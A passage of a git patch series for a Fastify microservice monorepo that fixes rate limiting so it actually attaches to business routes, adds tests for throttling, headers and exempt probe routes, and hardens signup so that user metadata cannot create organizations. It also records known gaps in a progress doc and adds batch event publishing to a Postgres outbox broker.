'POST', url: `/v1/messages/${id}/send` })).statusCode); + } + expect(seen).toEqual([...Array(SEND_LIMIT).fill(401), 429, 429]); + + const throttled = await app.inject({ method: 'POST', url: `/v1/messages/${MESSAGE_A}/send` }); + expect(throttled.json().error.code).toBe('RATE_LIMITED'); + expect(throttled.headers['x-ratelimit-limit']).toBe(String(SEND_LIMIT)); + + // Only sending is closed: the rest of the API is well inside the global budget. + expect((await app.inject({ method: 'GET', url: '/v1/messages' })).statusCode).toBe(401); + expect( + (await app.inject({ method: 'POST', url: `/v1/messages/${MESSAGE_A}/schedule` })).statusCode, + ).toBe(401); + }); +}); diff --git a/services/profile/src/app.ts b/services/profile/src/app.ts index 28e1435..2fbd96c 100644 --- a/services/profile/src/app.ts +++ b/services/profile/src/app.ts @@ -11,7 +11,12 @@ import type { EventBroker } from '@atlas/messaging'; import type { StorageDriver } from '@atlas/storage'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerRateLimitedRoutes, +} from '@atlas/observability'; import type { ProfileServiceEnv } from './env.js'; import { getResumeRoute } from './http/routes/get-resume.js'; import { healthRoute } from './http/routes/health.js'; @@ -48,10 +53,6 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); void app.register(cors, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(rateLimit, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW, - }); void app.register(multipart, { limits: { fileSize: deps.env.BODY_LIMIT_BYTES, files: 1 }, }); @@ -100,12 +101,25 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); }); + // Probes are scraped by infrastructure and stay outside the rate limiter. healthRoute(app, deps); metricsRoute(app, metrics); - uploadResumeRoute(app, deps); - getResumeRoute(app, deps); - listResumesRoute(app, deps); - optimizeResumeRoute(app, deps); + + // Everything else is declared inside the rate-limited scope: see registerRateLimitedRoutes for + // why routes declared on `app` right after registering the plugin would not be limited. + registerRateLimitedRoutes( + app, + { + plugin: rateLimit, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + }, + (api) => { + uploadResumeRoute(api, deps); + getResumeRoute(api, deps); + listResumesRoute(api, deps); + optimizeResumeRoute(api, deps); + }, + ); return app; } diff --git a/services/profile/test/ratelimit.test.ts b/services/profile/test/ratelimit.test.ts new file mode 100644 index 0000000..e01554c --- /dev/null +++ b/services/profile/test/ratelimit.test.ts @@ -0,0 +1,224 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker } from '@atlas/messaging'; +import type { StorageDriver } from '@atlas/storage'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadProfileServiceEnv } from '../src/env.js'; + +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1. Every request below is turned away before it reaches the database +// (a 401 for a missing token, a 404 or a 429), and /health reports a degraded database quickly. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_profile_ratelimit'; + +// The upload route carries its own, stricter limit (upload-resume.ts). +const UPLOAD_LIMIT = 20; + +const unusedStorage: StorageDriver = { + put: async () => { + throw new Error('storage is not reachable from these tests'); + }, + get: async () => { + throw new Error('storage is not reachable from these tests'); + }, + delete: async () => undefined, + exists: async () => false, +}; + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +async function build(envOverrides: Record = {}): Promise { + const env = loadProfileServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4002', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + RATE_LIMIT_MAX: '3', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker: createBroker({ driver: 'memory', logger: createSilentLogger() }), + storage: unusedStorage, + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + await app.ready(); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +/** Statuses of `count` sequential requests. A 401 (no token) counts against the limit like any other. */ +async function statuses( + app: FastifyInstance, + count: number, + request: { method: 'GET' | 'POST'; url: string; headers?: Record }, +): Promise { + const out: number[] = []; + for (let attempt = 0; attempt < count; attempt += 1) { + out.push((await app.inject(request)).statusCode); + } + return out; +} + +// Rate limiting attaches to routes through an `onRoute` hook that only exists once the +// (asynchronously loaded) @fastify/rate-limit plugin is up, so routes declared directly on the +// root app right after `register(rateLimit)` are silently not limited. See app.ts. +describe('profile-service rate limiting', () => { + it('throttles business routes once the configured maximum is reached and answers 429 RATE_LIMITED', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/resumes' })).toEqual([ + 401, 401, 401, 429, 429, + ]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/resumes' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error).toMatchObject({ + code: 'RATE_LIMITED', + message: expect.stringContaining('Rate limit exceeded'), + request_id: expect.stringMatching(/^[0-9a-f-]{36}$/), + }); + }); + + it('sends sane rate-limit headers: a decreasing budget, then Retry-After on the 429', async () => { + const app = await build({ RATE_LIMIT_WINDOW: '30 seconds' }); + + const remaining: string[] = []; + for (let attempt = 0; attempt < 3; attempt += 1) { + const res = await app.inject({ method: 'GET', url: '/v1/resumes' }); + expect(res.headers['x-ratelimit-limit']).toBe('3'); + remaining.push(String(res.headers['x-ratelimit-remaining'])); + } + expect(remaining).toEqual(['2', '1', '0']); + + const throttled = await app.inject({ method: 'GET', url: '/v1/resumes' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['x-ratelimit-limit']).toBe('3'); + expect(throttled.headers['x-ratelimit-remaining']).toBe('0'); + // The configured RATE_LIMIT_WINDOW is what sizes the wait, not the plugin default of a minute. + const retryAfter = Number(throttled.headers['retry-after']); + expect(Number.isInteger(retryAfter)).toBe(true); + expect(retryAfter).toBeGreaterThanOrEqual(1); + expect(retryAfter).toBeLessThanOrEqual(30); + expect(Number(throttled.headers['x-ratelimit-reset'])).toBe(retryAfter); + }); + + it('spends one budget across every business route, not one per route', async () => { + const app = await build(); + + const sequence = [ + { method: 'GET', url: '/v1/resumes' }, + { method: 'GET', url: '/v1/resumes/3f1d8a52-0000-4000-8000-000000000001' }, + { method: 'POST', url: '/v1/resumes/3f1d8a52-0000-4000-8000-000000000001/optimize' }, + { method: 'GET', url: '/v1/resumes' }, + ] as const; + const seen: number[] = []; + for (const request of sequence) seen.push((await app.inject(request)).statusCode); + + expect(seen).toEqual([401, 401, 401, 429]); + }); + + it('counts unknown routes too, so probing for paths cannot run free', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/not-a-route' })).toEqual([ + 404, 404, 404, 429, 429, + ]); + expect((await app.inject({ method: 'GET', url: '/v1/not-a-route' })).json().error.code).toBe( + 'RATE_LIMITED', + ); + }); + + it('keeps a separate budget per client address', async () => { + const app = await build(); + const asClient = (address: string) => ({ + method: 'GET' as const, + url: '/v1/resumes', + headers: { 'x-forwarded-for': address }, + }); + + expect(await statuses(app, 4, asClient('203.0.113.10'))).toEqual([401, 401, 401, 429]); + // A different client is unaffected by the first one running out. + expect(await statuses(app, 3, asClient('203.0.113.11'))).toEqual([401, 401, 401]); + }); + + it('never throttles /health or /metrics, and they do not spend the budget either', async () => { + const app = await build(); + + const probe = await app.inject({ method: 'GET', url: '/health' }); + const probeStatuses = await statuses(app, 10, { method: 'GET', url: '/health' }); + expect(probeStatuses.every((status) => status === probe.statusCode)).toBe(true); + expect(probe.statusCode).not.toBe(429); + expect(await statuses(app, 10, { method: 'GET', url: '/metrics' })).toEqual( + Array(10).fill(200), + ); + expect(probe.headers['x-ratelimit-limit']).toBeUndefined(); + + // The probes above did not touch the business budget... + expect(await statuses(app, 3, { method: 'GET', url: '/v1/resumes' })).toEqual([401, 401, 401]); + // ...and once it is spent, the probes still answer. + expect((await app.inject({ method: 'GET', url: '/v1/resumes' })).statusCode).toBe(429); + expect((await app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(probe.statusCode); + expect((await app.inject({ method: 'GET', url: '/metrics' })).statusCode).toBe(200); + }); + + it('applies the stricter resume-upload limit, separately from the global one', async () => { + const app = await build({ RATE_LIMIT_MAX: '1000' }); + + const upload = { method: 'POST' as const, url: '/v1/resumes' }; + const seen = await statuses(app, UPLOAD_LIMIT + 2, upload); + expect(seen).toEqual([...Array(UPLOAD_LIMIT).fill(401), 429, 429]); + + const throttled = await app.inject(upload); + expect(throttled.json().error.code).toBe('RATE_LIMITED'); + expect(throttled.headers['x-ratelimit-limit']).toBe(String(UPLOAD_LIMIT)); + + // Only the upload route is closed: the rest of the API is well inside the global budget. + expect((await app.inject({ method: 'GET', url: '/v1/resumes' })).statusCode).toBe(401); + }); + + // Every service registers CORS before the limiter, so the same ordering holds in all of them. + it.each(['/v1/resumes', '/v1/not-a-route'])( + 'still sends CORS headers on a 429 from %s, so a browser can read it', + async (url) => { + const origin = 'http://localhost:3000'; + const app = await build({ CORS_ORIGINS: origin, RATE_LIMIT_MAX: '2' }); + + await statuses(app, 2, { method: 'GET', url }); + const throttled = await app.inject({ method: 'GET', url, headers: { origin } }); + + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['access-control-allow-origin']).toBe(origin); + }, + ); + + it('does not count CORS preflights against the budget', async () => { + const origin = 'http://localhost:3000'; + const app = await build({ CORS_ORIGINS: origin, RATE_LIMIT_MAX: '2' }); + + // A browser sends a preflight before each cross-origin call; counting them would halve the + // budget of every web client. + const preflight = { + method: 'OPTIONS' as const, + url: '/v1/resumes', + headers: { origin, 'access-control-request-method': 'GET' }, + }; + for (let attempt = 0; attempt < 5; attempt += 1) { + expect((await app.inject(preflight)).statusCode).toBe(204); + } + expect(await statuses(app, 2, { method: 'GET', url: '/v1/resumes' })).toEqual([401, 401]); + }); +}); diff --git a/services/referrals/src/app.ts b/services/referrals/src/app.ts index 446ce4f..7d2ac08 100644 --- a/services/referrals/src/app.ts +++ b/services/referrals/src/app.ts @@ -9,7 +9,12 @@ import type { Database } from '@atlas/db'; import type { EventBroker } from '@atlas/messaging'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerRateLimitedRoutes, +} from '@atlas/observability'; import type { ReferralsServiceEnv } from './env.js'; import { createContactRoute } from './http/routes/create-contact.js'; import { drainRoute } from './http/routes/drain.js'; @@ -45,10 +50,6 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); void app.register(cors, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(rateLimit, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW, - }); const metrics = createMetricsRegistry('referrals-service'); registerHttpMetrics(app, metrics); @@ -94,12 +95,26 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); }); + // Probes are scraped by infrastructure and stay outside the rate limiter. healthRoute(app, deps); metricsRoute(app, metrics); + // Machine-authenticated (bearer secret) and called by the scheduler: never throttled. drainRoute(app, deps); - createContactRoute(app, deps); - listCompanyContactsRoute(app, deps); - listReferralsRoute(app, deps); + + // Everything else is declared inside the rate-limited scope: see registerRateLimitedRoutes for + // why routes declared on `app` right after registering the plugin would not be limited. + registerRateLimitedRoutes( + app, + { + plugin: rateLimit, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + }, + (api) => { + createContactRoute(api, deps); + listCompanyContactsRoute(api, deps); + listReferralsRoute(api, deps); + }, + ); return app; } diff --git a/services/referrals/test/ratelimit.test.ts b/services/referrals/test/ratelimit.test.ts new file mode 100644 index 0000000..cbc5056 --- /dev/null +++ b/services/referrals/test/ratelimit.test.ts @@ -0,0 +1,214 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker, type DrainableBroker, type DrainOptions } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadReferralsServiceEnv } from '../src/env.js'; + +const SECRET = 'cron-secret-for-tests-0123456789'; +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1. Every request below is turned away before it reaches the database +// (a 401 for a missing token, a 404 or a 429), and /health reports a degraded database quickly. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_referrals_ratelimit'; + +type StubBroker = DrainableBroker & { calls: DrainOptions[] }; + +function stubBroker(): StubBroker { + const calls: DrainOptions[] = []; + return { + calls, + publish: async () => undefined, + subscribe: async (options) => ({ consumer: options.consumer, stop: async () => undefined }), + isHealthy: () => true, + close: async () => undefined, + drain: async (options) => { + calls.push(options ?? {}); + return { processed: 0, failed: 0, dead: 0, purged: 0 }; + }, + }; +} + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +async function build( + envOverrides: Record = {}, + broker: DrainableBroker | ReturnType = createBroker({ + driver: 'memory', + logger: createSilentLogger(), + }), +): Promise { + const env = loadReferralsServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4006', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + RATE_LIMIT_MAX: '3', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker, + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + await app.ready(); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +type TestRequest = { method: 'GET' | 'POST'; url: string; headers?: Record }; + +/** Statuses of `count` sequential requests. A 401 (no token) counts against the limit like any other. */ +async function statuses( + app: FastifyInstance, + count: number, + request: TestRequest, +): Promise { + const out: number[] = []; + for (let attempt = 0; attempt < count; attempt += 1) { + out.push((await app.inject(request)).statusCode); + } + return out; +} + +// Rate limiting attaches to routes through an `onRoute` hook that only exists once the +// (asynchronously loaded) @fastify/rate-limit plugin is up, so routes declared directly on the +// root app right after `register(rateLimit)` are silently not limited. See app.ts. +describe('referrals-service rate limiting', () => { + it('throttles business routes once the configured maximum is reached and answers 429 RATE_LIMITED', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/referrals' })).toEqual([ + 401, 401, 401, 429, 429, + ]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/referrals' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error).toMatchObject({ + code: 'RATE_LIMITED', + message: expect.stringContaining('Rate limit exceeded'), + request_id: expect.stringMatching(/^[0-9a-f-]{36}$/), + }); + }); + + it('sends sane rate-limit headers: a decreasing budget, then Retry-After on the 429', async () => { + const app = await build({ RATE_LIMIT_WINDOW: '30 seconds' }); + + const remaining: string[] = []; + for (let attempt = 0; attempt < 3; attempt += 1) { + const res = await app.inject({ method: 'GET', url: '/v1/referrals' }); + expect(res.headers['x-ratelimit-limit']).toBe('3'); + remaining.push(String(res.headers['x-ratelimit-remaining'])); + } + expect(remaining).toEqual(['2', '1', '0']); + + const throttled = await app.inject({ method: 'GET', url: '/v1/referrals' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['x-ratelimit-limit']).toBe('3'); + expect(throttled.headers['x-ratelimit-remaining']).toBe('0'); + // The configured RATE_LIMIT_WINDOW is what sizes the wait, not the plugin default of a minute. + const retryAfter = Number(throttled.headers['retry-after']); + expect(Number.isInteger(retryAfter)).toBe(true); + expect(retryAfter).toBeGreaterThanOrEqual(1); + expect(retryAfter).toBeLessThanOrEqual(30); + expect(Number(throttled.headers['x-ratelimit-reset'])).toBe(retryAfter); + }); + + it('spends one budget across every business route', async () => { + const app = await build(); + + const sequence: TestRequest[] = [ + { method: 'GET', url: '/v1/referrals' }, + { method: 'GET', url: '/v1/companies/3f1d8a52-0000-4000-8000-000000000001/contacts' }, + { method: 'POST', url: '/v1/contacts' }, + { method: 'GET', url: '/v1/referrals' }, + ]; + const seen: number[] = []; + for (const request of sequence) seen.push((await app.inject(request)).statusCode); + + expect(seen).toEqual([401, 401, 401, 429]); + }); + + it('counts unknown routes too, so probing for paths cannot run free', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/not-a-route' })).toEqual([ + 404, 404, 404, 429, 429, + ]); + expect((await app.inject({ method: 'GET', url: '/v1/not-a-route' })).json().error.code).toBe( + 'RATE_LIMITED', + ); + }); + + it('keeps a separate budget per client address', async () => { + const app = await build(); + const asClient = (address: string): TestRequest => ({ + method: 'GET', + url: '/v1/referrals', + headers: { 'x-forwarded-for': address }, + }); + + expect(await statuses(app, 4, asClient('203.0.113.10'))).toEqual([401, 401, 401, 429]); + // A different client is unaffected by the first one running out. + expect(await statuses(app, 3, asClient('203.0.113.11'))).toEqual([401, 401, 401]); + }); + + it('never throttles /health or /metrics, and they do not spend the budget either', async () => { + const app = await build(); + + const probe = await app.inject({ method: 'GET', url: '/health' }); + const probeStatuses = await statuses(app, 10, { method: 'GET', url: '/health' }); + expect(probeStatuses.every((status) => status === probe.statusCode)).toBe(true); + expect(probe.statusCode).not.toBe(429); + expect(probe.headers['x-ratelimit-limit']).toBeUndefined(); + expect(await statuses(app, 10, { method: 'GET', url: '/metrics' })).toEqual( + Array(10).fill(200), + ); + + // The probes above did not touch the business budget... + expect(await statuses(app, 3, { method: 'GET', url: '/v1/referrals' })).toEqual([ + 401, 401, 401, + ]); + // ...and once it is spent, the probes still answer. + expect((await app.inject({ method: 'GET', url: '/v1/referrals' })).statusCode).toBe(429); + expect((await app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(probe.statusCode); + expect((await app.inject({ method: 'GET', url: '/metrics' })).statusCode).toBe(200); + }); + + // The scheduler calls these every five minutes with a bearer secret; throttling them would + // quietly stall every event delivery. + it('never throttles the drain routes, however often the scheduler calls them', async () => { + const broker = stubBroker(); + const app = await build({ CRON_SECRET: SECRET }, broker); + const authorized = { authorization: `Bearer ${SECRET}` }; + + const seen: number[] = []; + for (const url of ['/internal/drain', '/internal/referrals/drain']) { + for (const method of ['GET', 'POST'] as const) { + seen.push(...(await statuses(app, 5, { method, url, headers: authorized }))); + } + } + expect(seen).toEqual(Array(20).fill(200)); + expect(broker.calls).toHaveLength(20); + + // Rejected callers get the drain route's own 401, not a 429, and spend no business budget. + expect(await statuses(app, 5, { method: 'POST', url: '/internal/drain' })).toEqual( + Array(5).fill(401), + ); + expect(await statuses(app, 3, { method: 'GET', url: '/v1/referrals' })).toEqual([ + 401, 401, 401, + ]); + }); +}); From f34f197216cd3c8f924b453874d4d101545a9951 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:10:40 +0000 Subject: [PATCH 35/91] docs: record that rate limits now enforce per instance; shared store still missing Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- docs/15_progress.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/15_progress.md b/docs/15_progress.md index d4caa13..68456e7 100644 --- a/docs/15_progress.md +++ b/docs/15_progress.md @@ -24,7 +24,7 @@ Verified 2026-10-27 by running the checks below, not by reading commit messages. ## Known gaps - **Not in code at all:** GraphQL, WebSocket, Kafka, Redis client, OpenTelemetry (docs/01, 04, 14 describe them). -- **Rate limiting** uses Fastify's default in-memory store, so limits are per instance, not shared. Needs a shared store before it means much on serverless. +- **Rate limiting** now enforces `RATE_LIMIT_MAX` per `RATE_LIMIT_WINDOW` per client IP on every business route of every service (429 `RATE_LIMITED`; `/health`, `/metrics` and the `/internal/*/drain` routes are exempt). Until this change it limited nothing outside `admin-service`: `app.register(rateLimit)` was not awaited and the routes were declared on the root app, so the plugin never attached to them (`registerRateLimitedRoutes` in `packages/observability` fixes that). Stricter per-route limits: resume upload 20/min, application create 30/min, outreach send 20/min. **Still missing: a shared store.** Counters live in each function instance's memory (the plugin's default store), so on serverless a client's real ceiling is the limit times the number of warm instances. The hook is the `settings` passed to `registerRateLimitedRoutes` in each service's `app.ts`, which goes to the plugin untouched (`store`, or `redis` with an ioredis client). Limits are keyed by IP only, so one noisy user on a shared address (a campus) can exhaust it for the rest; a per-user key needs a verified identity and is not built. - **`connectors-service`** is built and tested but is not in `scripts/bundle-backend.mjs` or `vercel.json`, so it is not deployed. `apps/web` connectors page is a placeholder. - **CI** now runs the DB-backed tests (Postgres service in the backend job). It also checks that the committed `api/` bundles are fresh and runs an advisory, non-blocking `pnpm audit`, which currently reports advisories. All three are **pending first CI run**; none has been observed in GitHub Actions. - **Application agent** (form filling, submission) is not implemented; `applications-service` tracks lifecycle only. From 2b3f93f20aaf5f6f8023fc502a974bd00bf46871 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:10:55 +0000 Subject: [PATCH 36/91] test: align rls and cross-service suites with the platform-admin / no-signup-org model Signup metadata no longer mints an organization or owner membership, and job ingest is limited to the platform-admin allowlist. The rls suite now seeds its org the way an operator does and asserts hostile `organization_name` metadata creates nothing; the cross-service suite allowlists its test user for ingest. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- packages/db/test/rls.test.ts | 17 +++++++++++++---- packages/messaging/test/cross-service.test.ts | 3 ++- 2 files changed, 15 insertions(+), 5 deletions(-) diff --git a/packages/db/test/rls.test.ts b/packages/db/test/rls.test.ts index 763d740..239c69e 100644 --- a/packages/db/test/rls.test.ts +++ b/packages/db/test/rls.test.ts @@ -193,12 +193,18 @@ describe.skipIf(!adminUrl)('rls.sql (Data API lockdown of schema public)', () => await sql.unsafe(readRepoFile('../supabase/auth-hooks.sql')); await sql.unsafe(AUTH_ADMIN_GRANTS); - // One real user + organization + owner membership, created through the same trigger production uses. + // One real user created through the signup trigger production uses, plus an organization and owner + // membership added the way an operator does. The trigger never creates either from signup metadata. seededUserId = randomUUID(); await sql` INSERT INTO auth.users (id, email, email_confirmed_at, raw_app_meta_data, raw_user_meta_data, created_at, updated_at) VALUES (${seededUserId}, ${`rls-seed-${seededUserId}@example.com`}, now(), - '{"provider":"email"}'::jsonb, '{"organization_name":"RLS Probe Org"}'::jsonb, now(), now())`; + '{"provider":"email"}'::jsonb, '{}'::jsonb, now(), now())`; + const [seededOrg] = await sql<{ organization_id: string }[]>` + INSERT INTO public.organizations (name) VALUES ('RLS Probe Org') RETURNING organization_id`; + await sql` + INSERT INTO public.organization_members (organization_id, user_id, role) + VALUES (${seededOrg?.organization_id as string}, ${seededUserId}, 'owner')`; // Before hardening, the baseline must really leak, or the later assertions prove nothing. const exposed = async (role: string): Promise => { @@ -368,9 +374,12 @@ describe.skipIf(!adminUrl)('rls.sql (Data API lockdown of schema public)', () => const members = await tx.unsafe( `SELECT role FROM public.organization_members WHERE user_id = '${newUserId}'`, ); - return { users: users.length, memberRoles: members.map((row) => row['role']) }; + const orgs = await tx.unsafe(`SELECT 1 FROM public.organizations WHERE name = 'Signup Org'`); + return { users: users.length, memberRoles: members.map((row) => row['role']), orgs: orgs.length }; }); - expect(created).toEqual({ users: 1, memberRoles: ['owner'] }); + // The signup row is created, but client-controlled `organization_name` metadata must not + // mint an organization or an owner membership (privilege escalation). + expect(created).toEqual({ users: 1, memberRoles: [], orgs: 0 }); }); it('keeps what Supabase Auth needs: schema usage, the hook, and reading organization_members', async () => { diff --git a/packages/messaging/test/cross-service.test.ts b/packages/messaging/test/cross-service.test.ts index da4271c..33082ee 100644 --- a/packages/messaging/test/cross-service.test.ts +++ b/packages/messaging/test/cross-service.test.ts @@ -223,7 +223,8 @@ describe.skipIf(!testDatabaseUrl)('cross-service events over the postgres driver tokenVerifier: createTokenVerifierConfig(profileEnv), }); - const jobsEnv = loadJobsServiceEnv({ ...common, PORT: '4003' }); + // Ingest writes the shared catalog, so it is limited to the platform-admin allowlist. + const jobsEnv = loadJobsServiceEnv({ ...common, PORT: '4003', PLATFORM_ADMIN_USER_IDS: userId }); const jobsFn = openFunction(jobsEnv); jobs = buildJobsApp({ db: jobsFn.handle.db, From 2a0738ad2d813a0d3bac2a8483eddffdf08e98dc Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:11:29 +0000 Subject: [PATCH 37/91] feat(messaging): batch publish for the postgres broker A fan-out handler (one event in, hundreds of job.scored out) spent its function budget on one INSERT round trip per event. PostgresBroker gains publishMany: one multi-row INSERT ... ON CONFLICT DO NOTHING per 500 envelopes, validating every envelope before the first write. The capability is an optional narrow interface beside EventBroker (BatchPublisher / isBatchPublisher, the same pattern as DrainableBroker), so the memory and rabbitmq drivers are untouched. publishAll(broker, envelopes) narrows at runtime and falls back to publish with bounded concurrency, and stops starting publishes after the first failure. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- packages/messaging/src/broker.ts | 60 +++++ packages/messaging/src/postgres-broker.ts | 49 +++- packages/messaging/test/publish-many.test.ts | 227 +++++++++++++++++++ 3 files changed, 325 insertions(+), 11 deletions(-) create mode 100644 packages/messaging/test/publish-many.test.ts diff --git a/packages/messaging/src/broker.ts b/packages/messaging/src/broker.ts index 9bf49e8..726859d 100644 --- a/packages/messaging/src/broker.ts +++ b/packages/messaging/src/broker.ts @@ -74,6 +74,66 @@ export function isDrainableBroker(broker: EventBroker): broker is DrainableBroke return typeof (broker as Partial).drain === 'function'; } +/** + * A broker that can commit many events in one round trip (the `postgres` + * outbox: one multi-row INSERT). Like `DrainableBroker`, a narrow interface + * beside `EventBroker` so the other drivers are untouched; call `publishAll`, + * which narrows at runtime and falls back to `publish` for them. + */ +export interface BatchPublisher extends EventBroker { + /** + * Same contract as `publish` for each envelope (an already-published + * `event_id` is skipped). Every envelope is validated before any is written, + * but the batch as a whole is not atomic: a failure part-way through can + * leave the earlier chunks published, which is safe because republishing the + * same envelopes is a no-op. + */ + publishMany(envelopes: EventEnvelope[]): Promise; +} + +export function isBatchPublisher(broker: EventBroker): broker is BatchPublisher { + return typeof (broker as Partial).publishMany === 'function'; +} + +/** Parallel `publish` calls when the driver has no batch path. */ +const FALLBACK_PUBLISH_CONCURRENCY = 8; + +/** + * Publishes `envelopes` with the cheapest path the driver offers: one batch + * statement where there is one, otherwise `publish` with bounded concurrency. + * Rejects with the first failure and starts no further publishes after it. + * Meant for fan-out handlers (one event in, hundreds out). + */ +export async function publishAll( + broker: EventBroker, + envelopes: readonly EventEnvelope[], +): Promise { + if (envelopes.length === 0) return; + if (isBatchPublisher(broker)) { + await broker.publishMany([...envelopes]); + return; + } + + let cursor = 0; + let failed = false; + const run = async (): Promise => { + while (!failed) { + const envelope = envelopes[cursor]; + if (envelope === undefined) return; + cursor += 1; + try { + await broker.publish(envelope); + } catch (error) { + failed = true; + throw error; + } + } + }; + await Promise.all( + Array.from({ length: Math.min(FALLBACK_PUBLISH_CONCURRENCY, envelopes.length) }, run), + ); +} + /** A message that exhausted its retries. Surfaced for DLQ inspection. */ export interface DeadLetter { envelope: EventEnvelope; diff --git a/packages/messaging/src/postgres-broker.ts b/packages/messaging/src/postgres-broker.ts index d5dfcf5..816c2a3 100644 --- a/packages/messaging/src/postgres-broker.ts +++ b/packages/messaging/src/postgres-broker.ts @@ -3,6 +3,7 @@ import { schema, type Database } from '@atlas/db'; import { parseEvent, type EventEnvelope } from '@atlas/types'; import { backoffDelayMs, type Logger } from '@atlas/utils'; import type { + BatchPublisher, ConsumeContext, DeadLetter, DrainableBroker, @@ -62,6 +63,8 @@ const DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1000; const DEFAULT_DRAIN_LIMIT = 100; const DEFAULT_DRAIN_BUDGET_MS = 20_000; const FAN_OUT_BATCH = 500; +/** Rows per INSERT in `publishMany` (8 bound values each, far below Postgres' 65535 limit). */ +const PUBLISH_BATCH = 500; const DEFAULT_PURGE_LIMIT = 500; const MAX_ERROR_LENGTH = 300; /** Matches `varchar(160)` on `event_deliveries.consumer`. */ @@ -89,6 +92,19 @@ interface ClaimedRow extends Record { type Outcome = 'processed' | 'failed' | 'dead'; +function outboxRow(event: EventEnvelope): typeof schema.eventOutbox.$inferInsert { + return { + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload as Record, + }; +} + function inList(values: readonly string[]): SQL { return sql.join( values.map((value) => sql`${value}`), @@ -145,7 +161,7 @@ export function sanitizeError(error: unknown): string { * - Delivery is at-least-once: a handler can run again after a crash or an * expired lease, so handlers must be idempotent (docs/06). */ -export class PostgresBroker implements DrainableBroker { +export class PostgresBroker implements DrainableBroker, BatchPublisher { private readonly db: Database; private readonly logger: Logger; private readonly defaultMaxRetries: number; @@ -175,19 +191,30 @@ export class PostgresBroker implements DrainableBroker { await this.db 